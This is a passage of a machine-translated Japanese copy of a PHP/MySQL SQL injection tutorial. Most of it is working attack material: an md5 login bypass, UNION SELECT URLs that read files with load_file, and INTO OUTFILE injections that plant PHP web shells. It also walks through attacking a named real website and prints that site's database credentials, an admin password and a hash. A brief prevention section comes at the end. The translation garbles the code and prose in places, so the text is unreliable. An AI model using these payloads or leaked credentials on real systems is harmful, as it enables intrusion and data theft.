はは、マークされた場所を見てください、とてもめまいがして、ここにあることがわかりましたが、なぜですか?
HTML の < > は注釈に使用されていることがわかりました。次回どこで探すか覚えておいてください。
4. md5 の悪夢
最近 md5 で人気があるのは、私たちも彼よりも楽なので、計算する必要はありません。
md5 をバイパスする方法はありますが、どこでもできるわけではありません。入力したものはすべてその中にあり、まったくエスケープできないため、php の md5 関数をバイパスすることはできません。バイパスできるのは SQL ステートメント内の md5 です。もちろん、SQL の他の関数もバイパスできます。理由は同じです。
まず例を見てください:
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
......
?>
ブラウザで直接送信します
http: /login.php ?username=char(97,98)) or 1=1 %23
SQL ステートメントを導入して select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) とします。そして Password='". $Pw."'
最後に or 1=2 があるため、md5 には文字が含まれることに注意してください。それで、char(97,98) を置くだけです。OK、ログインは成功しました。ほら、私たちの前では md5 は役に立ちません。
5. コアテクノロジー、php+mysqlインジェクションの脆弱性を利用してWebシェルに直接書き込みます。 。
インジェクションを直接使用して WebShell を取得することは、誰もがやりたいことです。以下で説明します。
これは、Web サイトの物理パスがすでにわかっていることを前提としています。Web サイトのパスは c:/apache/htdocs/site であると仮定します。 Web サイトの mysql 接続情報は /lib/sql.inc.php に配置されます
1) これは、magic_quotes_gpc=Off に適しています
写真、txt、zip などをアップロードできると仮定して、トロイの木馬を次のように変更します。
jpg サフィックス はい、アップロードされたパスは /upload/2004091201.jpg です
2004091201.jpg の内容は です
それでは、http://localhost/site/display を始めましょう.php id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7 ,8, 9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
outfileが適用されているため、Webページは正常に表示されませんが、タスクは完了です。
図 28 に示すように
http://localhost/site/shell.php?cmd=dir を見てみましょう
図 29 に示すように

気に入っていただけましたか? Webshel​​l が正常に作成されました。一番上に12があるのが見えましたか?それが、選択 1 と 2 の出力です。
2) magic_quotes_gpc=On の場合に WebShell を保存する別の方法について説明します。もちろん、magic_quotes_gpc=Off の場合にも使用できます。
ヒント 2 で紹介した方法を使用して、設定ファイルを直接読み取ります
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file( 0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
sql.inc.phpの内容は

さて、mysql の root パスワードはわかりました。phpmyadmin も見つかりました。バックエンド
http://localhost/phpmyadmin/
root パスワードを空にしてログインします。
図 30 に示すように、
次に、次の内容を持つ新しいテーブル構造を作成します:

#
# データ テーブル構造 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET= latin1;

#
# 次のデータベース コンテンツをエクスポートします`te`
#
INSERT INTO te VALUES ('');
OK、select * from table into を使用しますoutfile' '時間です
phpmyadmin の SQL に直接入力してください
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
図 31 に示すように

OK、正常に実行されました、さあ、行きましょうhttp://localhost/site/cmd1.php?cmd=dir にアクセスして効果を確認してください
図 32 に示すように

なんとクールな Web シェルでしょう?ハハ、私も好きです。
しかし、phpmyadmin では、引用符の制限を考慮する必要がないことに気づいたかどうかはわかりません。これはどういう意味ですか?これは、phpmyadmin が非常に優れていることを示しています。magic_quotes_gpc=On bypass について話すとき、これが話題になります。
6. update と insert を使用してデータを挿入し、Web シェルを取得することもできることがわかりました。また、上記の例
//reg.php
...
$query = を使用します。 "INSERT INTO members
VALUES('$id','$login','$pass','$email','2')" ;
...
?>
を入力します< ?php system($ cmd); ?>
登録 ID が 10 であるとします
次に、注入する別の場所を見つけることができます
http://localhost/site/display.php?id=451%20and% 201=2%20%20union%20select %201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php
さて、またウェンシェルを手に入れました。
7. mysql のクロスデータベース クエリ
mysql はクロスデータベース クエリには使用できないと聞いたことがあるでしょうか?笑、今日は、load_file を使用して偽装されたクロスデータベース クエリを実現する良い方法を教えます。 mysql のデータ フォルダーを使用して、異常なデータベース間クエリを実現します。
例を教えてください
その前に、mysqlのデータフォルダーの構造について話しましょう
Data フォルダーの下にデータベース名に従って生成されたフォルダーがあり、テーブル名に従ってフォルダーの下に 3 つのファイルが生成されます。たとえば、Mysql には alpha データベースがあります。 alpha ライブラリには alphaauthor と alphadb という 2 つのテーブルがあり、
Alpha フォルダーの内容は図 33 に示すとおりです
このうち、alphadb.frm は lphadb テーブル内のデータを保持し、alphadb.frm はテーブルの構造とコンテンツを保持します。 alphadb.myiはmysqlのバージョンによって異なりますので、メモ帳などで開いて判断してください。
実験が始まります
別のデータベース yminfo210 があり、テーブル user が存在し、管理者情報が user に配置されていることがわかっているとします。
us
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5, 6,7,8,9,10,11
load_file が配置されているデフォルトのディレクトリは mysql の下のデータ ディレクトリであるため、
load_file('yminfo210/user.myd') を使用することを説明します。もちろん、load_file('.info210) /user .myd') は同じです。into outfile のデフォルトのパスは、それが配置されているデータベース フォルダー内にあることに注意してください。

結果を図 34 に示します。

読み取りコンテンツを見てみましょう
? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question adminanswer http://www.yoursite.com (????KA??? ? 127.0 0.1 D ユーザー名は admin、パスワードは 698d51a19d8a121ce581499d7b701668 であることがわかります。その他は追加情報です
このようにして、以下の例でも説明する曲線クロスデータベースを実装しました。

それでは、詳しく説明します。このテストの対象は、中国の有名なセキュリティ サイトです。Heibai Network には抜け穴があると言われています。見てみましょう
http: //www.heibai.net/down/show.php?id=5403%20and%201= 1
図 35 に示すとおり

http://www.heibai.net/down/show.php?id=5403 %20and%201=2
図 36 に示すように

それでは続行します
http://www.heibai.net/down/show.php?id=5403%20and%201=1 Union select 1
表示された結果は次のとおりです
図 37

図にはプログラム名が表示されていないことに注意してください。また、
警告: mysql_fetch_object(): D:webheibaidownshow.php の 45 行目で指定された引数は有効な MySQL 結果リソースではありません。

警告: mysql_fetch_array(): 指定された引数は、D:webheibaidownglobal 行 578 の有効な MySQL 結果リソースではありません

めまいがして、ウェブサイトのパスが切れてしまい、死んでしまいます
終わるまで続けましょう!推測
http://www.heibai.net/down/show.php?id=5403 %20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19
正常に表示されます。
図 38 に示すように

それでは、ステートメントを次のように変換しましょう
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2, 3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
図 39 に示すように

12 を示す導入部分を見てください。 For 文字タイプであると推測できます。
それでは、まずファイルの内容を見てみましょう
D:/web/heibai/down/show.php が ASCII に変換され、
char(100,58,47,119,101,98,47,104,101,105,98,97,105) になります。 ,47,100,111,119,110,47,115,104,1 11,119,46,112,104,112 )
us
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2 ,3,4,5,6, 7,8,9,10,11,load_file(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104 ,112))、

13,14 ,15,16,17,18, 19
view-source: ソースコードを表示することを指します。なぜ使用されるかについては、後ほど説明します
図 40 のようにソースコードを表示するためです。 show.phpにこんな一文があります

ブラウザで直接送信するとlist.phpにジャンプします

こんなのを見つけましたrequire ("./include/config.inc.php");

いいですね、この設定ファイルを入れておけばOKです
d:/web/heibai/down/include/config.inc.php
char( 100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110, 47,105,110,99,108,117,100,101,47,

99,111,110,102 ,105,103,46,105,110,99,46,112,104,112)
入ります
http://www.heibai.net/down/show。 php?id= 5403%20and%201=2%20union%20select% 201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98, 47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,10 0,101,47,

99,111,110,102,105,103,46,105,110,99,46,112,104,112)、13,14,15,16,17,18,19
(結果を図41)に示します。 night Cat Download System) は、Web サイトでダウンロード サービスを提供するために使用されるプログラムです
// ------------------------ ------ - ------------------------- //
// ------------- ----- --- --------------------- //


// データベース情報
$dbhost = "localhost" // データベースのホスト名
$dbuser = "download"; // データベースのユーザー名
$dbpasswd = "kunstar988"; // データベースのパスワード
$dbname = "download" // クッキー名
$cookie_name = "heibai";
//バージョン番号
$version = "1.0.1";

// データテーブル名
$down_table = ymdown_user;
$down_sort2_table = ymdown_sort2; Night Cat のシステムが使用されており、それがわかっています
$dbuser = "download"; // データベースのユーザー名
$dbpasswd = "kunstar988 "; // データベースのパスワード
そのままにしておくと役に立つかもしれません。
使用されるテーブル名はデフォルトのテーブル名です。Night Cat の管理者パスワードが ymdown_user に配置されていることがわかります。
続けてみましょう http://www.heibai.net/down/show.php?id=5403%20and%201 = 2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 (ymdown_user から)
結果は次のようになります図 42 に示されています

プロンプトによると、ファイル サイズはユーザー名、アプリケーション プラットフォームはパスワードであることがわかります (図 36 と比較してください)
つまり、ユーザー名 = dload、パスワード = 6558428、Night Cat のバックエンドはデフォルトでは管理ディレクトリ。長い間試しましたが、まだ機能しません。
mysql に直接接続したかったのですが、Telnet ポートが開いていないことがわかりました。他のものを見に行きましょう!
http://www.heibai.net/vip/article/login.php
メンバーのログインのようです。まず見てみましょう
d:/web/heibai/vip/article/login.php
char(に変換します) 100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,

103,105,11 0 ,46,112,104,112)
入ります
http://www.heibai.net/down/show .php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98) 、47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,
103,105,110,46,112,104,112)),13 ,1 4,15,16,17,18,19
結果を図 43 に示します:

where
require (" ./include/global.php");
require ("./mainfunction.php"); .php");

もちろん、config.inc.php

d:/web/heibai/vip/article/include/config.inc.phpに行きましょう
char(100,58,47,119,101,98,47,104,101,105に変換します) ,98,97,105 ,47,118,105,112,47,97,114,116,105,99,108,101,47,105,
110,99,108,117,100,101,47,99,111,110,102,105,103,4 6,105,110,9 9,46,112,104,112)

Enter

http://www.heibai.net/down/show.php ?id=5403% 20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105 ,98,97,105, 47,118,105,112,47,97,114,116,105,99,108,101,47,105,

110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
結果を図 44 に示します

良いものがたくさんあります

$dbhost = "localhost "; // データベースのホスト名
$dbuser = "root" // データベースのユーザー名
$dbname = "article"; = "user ";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace";
そのテーブルはデフォルトのテーブルのままであり、root パスワードが出力されます
その mysql に接続できれば素晴らしいのですが、 outfile を入力できることを確認しました
phpmyadmin を苦労して探しましたが、まったく役に立たなかったのかもしれません。
c:/winnt/php.ini を読んで、
; Magic quotes
; 受信 GET/POST/Cookie データの Magic quotes_gpc = On
を見つけました。いくつかのメンバーシップを取得できるかどうか見てみましょう。アカウント
メンバーアカウントがユーザーテーブルに配置されていると仮定して、データ
Article/user.mydの下にある記事フォルダー内のuser.mydファイルを直接読み取り、
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
に変換します。
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9を入力してください、 10,11,load_file (char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
結果を図 45 に示します。戻る。 Article/user.frm を読んでみましょう
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6 、 7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
結果は図 46 のようになります

素晴らしい、テーブル構造 これらはすべて存在しており、Article/user.myi の読み取りは成功しましたが、Article/user.myd を読み取ることができないのはなぜですか? magic_quotes_gpc=Off の場合、outfile にアクセスして確認することもできますが...
落ち込んでテストはこうして終了 さて、次の作業は任せましょう!
Xingkun は記事で言及されている問題について通知を受けました!
4: php+mysql インジェクションを防ぐ方法。
前のトピックで多くの予防方法について説明しましたが、ここでは主に php+mysql インジェクション攻撃の予防方法について説明します。
ご覧のとおり、magic_quotes_gpc=On の場合、多くのインジェクション攻撃は効果がありません。
これを使用してプログラムを強化できます。 Addslashes() 関数は、magic_quotes_gpc=On と同等であり、magic_quotes_gpc=On と競合しません。
$username = addlashes($username);
$query="SELECT * FROM users WHERE userid='$ username'" );
id 型の場合は、 intval() 関数を使用できます。 intval() 関数は変数を整数型に変換できるので、これで終わりです。
これができます
$id = intval($id);
$query="SELECT * FROM alphadb WHEREarticleid='$id'");
文字型の場合はどうなるでしょうか?
addslashes() を使用して最初にフィルタリングし、次に「%」と「_」をフィルタリングできます。
例:
$search = addedlashes($search);
$search = str_replace("_","_", $ search);
$search = str_replace("%","%",$search);
次のように、magic_quotes_gpc=On の場合は決して \ に置き換えないでください:
$password=str_replace("\" ,"\\ ",$password);
この問題について、Darkness の記事「PHP サイトの侵入」(CD に収録) で言及したことを覚えています。
もう 1 つは、ログイン領域です。管理者が 1 人だけであれば、ユーザー名とパスワードを md5 で直接暗号化できるので、インジェクション技術の発展を恐れる必要はありません。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
私のバックグラウンドログインは次のようになります。
追記:
この記事はここまでです。インジェクションは柔軟なテクノロジーであり、多くのテクノロジーはまだ開発中です。ご質問やご意見がございましたら、Yanhuang Corps (www.cnwill.com/www.securityfaq.org) にアクセスしてください。 )私のところに来て、記事の内容を批判したり修正したりすることは歓迎です。この記事で使用されている記事システムを誰でも簡単に学習できるように、CD にも同梱されます。
追記:
この記事は 1 年前に書かれたものですが、現在では多くの新しいテクノロジーが登場しています。この記事に関する質問がある場合は、Security Angel www.4ngel.net の Web サイトを参照してください。 www .securityfaq.org によって提供されます。
なぜなら                                                            20050309



トラックバック: http://tb.blog.csdn.net/TrackBack.aspx?PostId=740486


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。